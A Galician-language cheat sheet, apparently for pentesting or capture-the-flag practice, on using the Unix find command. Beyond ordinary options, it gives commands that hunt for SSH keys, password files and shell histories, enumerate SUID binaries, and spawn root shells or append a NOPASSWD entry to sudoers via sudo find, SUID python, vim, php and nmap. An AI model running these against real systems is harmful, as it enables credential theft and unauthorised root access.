find - Buscar Ficheiros e Escalada de Privilexios
Descrición
Comando para buscar ficheiros no sistema. Moi útil para recoñecemento, busca de ficheiros sensibles e escalada de privilexios mediante permisos SUID/SGID.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-name <patrón> |
Buscar por nome de ficheiro |
-iname <patrón> |
Buscar por nome (case-insensitive) |
-type f |
Só ficheiros |
-type d |
Só directorios |
-user <usuario> |
Ficheiros dun usuario |
-group <grupo> |
Ficheiros dun grupo |
-perm <permisos> |
Buscar por permisos específicos |
-size <tamaño> |
Buscar por tamaño |
-exec <comando> {} \; |
Executar comando en cada resultado |
-readable |
Ficheiros lexibles |
-writable |
Ficheiros escribibles |
Exemplos de uso
Busca básica de ficheiros
# Buscar ficheiro por nome
find / -name "flag.txt" 2>/dev/null
# Buscar ficheiros que conteñan "pass" no nome
find / -name "*pass*" 2>/dev/null
# Buscar ficheiros de configuración
find / -name "*.conf" 2>/dev/null
# Buscar scripts
find / -name "*.sh" 2>/dev/null
# Buscar ficheiros modificados nos últimos 10 minutos
find / -type f -mmin -10 2>/dev/null
Busca de ficheiros SUID/SGID (Escalada de Privilexios)
# Buscar TODOS os ficheiros SUID (bit 4000)
find / -perm -4000 2>/dev/null
# Buscar ficheiros SUID de root
find / -user root -perm -4000 2>/dev/null
# Buscar ficheiros SGID (bit 2000)
find / -perm -2000 2>/dev/null
# Buscar SUID e SGID
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null
# Formato detallado con permisos
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
Busca de ficheiros escribibles
# Directorios escribibles por calquera usuario
find / -type d -writable 2>/dev/null
# Ficheiros escribibles en /etc
find /etc -writable -type f 2>/dev/null
# Scripts escribibles
find / -name "*.sh" -writable 2>/dev/null
Busca de ficheiros sensibles
# Buscar ficheiros de backup
find / -name "*.bak" 2>/dev/null
find / -name "*backup*" 2>/dev/null
# Buscar ficheiros con passwords
find / -name "*password*" 2>/dev/null
find / -name "*passwd*" 2>/dev/null
# Buscar chaves SSH
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Buscar historial de comandos
find / -name ".bash_history" 2>/dev/null
find / -name ".mysql_history" 2>/dev/null
# Buscar ficheiros de configuración
find / -name "config.*" 2>/dev/null
find /var/www -name "config.php" 2>/dev/null
Busca por usuario/grupo
# Ficheiros dun usuario específico
find / -user john 2>/dev/null
# Ficheiros sen propietario (usuarios eliminados)
find / -nouser 2>/dev/null
# Ficheiros sen grupo
find / -nogroup 2>/dev/null
Escalada de privilexios con find + sudo
# Se sudo -l mostra: (root) NOPASSWD: /usr/bin/find
sudo find /etc/passwd -exec /bin/bash \;
sudo find . -exec /bin/sh \; -quit
# Ler ficheiros como root
sudo find /root -name "flag.txt" -exec cat {} \;
# Escribir ficheiros como root
echo "john ALL=(ALL) NOPASSWD:ALL" | sudo find /etc -name sudoers -exec tee -a {} \;
Busca por tamaño
# Ficheiros maiores de 10MB
find / -type f -size +10M 2>/dev/null
# Ficheiros entre 1MB e 5MB
find / -type f -size +1M -size -5M 2>/dev/null
# Ficheiros baleiros
find / -type f -size 0 2>/dev/null
Vectores de escalada con binarios SUID comúns
# Se find atopa binarios SUID interesantes:
# /usr/bin/python (SUID)
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# /usr/bin/php (SUID)
/usr/bin/php -r "pcntl_exec('/bin/bash');"
# /usr/bin/vim (SUID)
/usr/bin/vim -c ':py import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# /usr/bin/find (SUID)
/usr/bin/find . -exec /bin/bash -p \; -quit
# /usr/bin/nmap (versións antigas con SUID)
nmap --interactive
nmap> !sh
Notas adicionais
- Sempre redirixir erros con
2>/dev/nullpara limpar saída - Os binarios SUID/SGID son obxectivos principais para escalada de privilexios:
-perm -4000busca o bit SUID establecido-perm -2000busca o bit SGID establecido
- Verificar sempre en GTFOBins
- Combinar con
-execpara executar comandos en cada resultado - Buscar ficheiros sen propietario (
-nouser) pode revelar configuracións problemáticas - Buscar ficheiros/directorios cun propietario coñecido pode revelar configuracións problemáticas para movemento lateral ou escalada de privilexios
Máis información...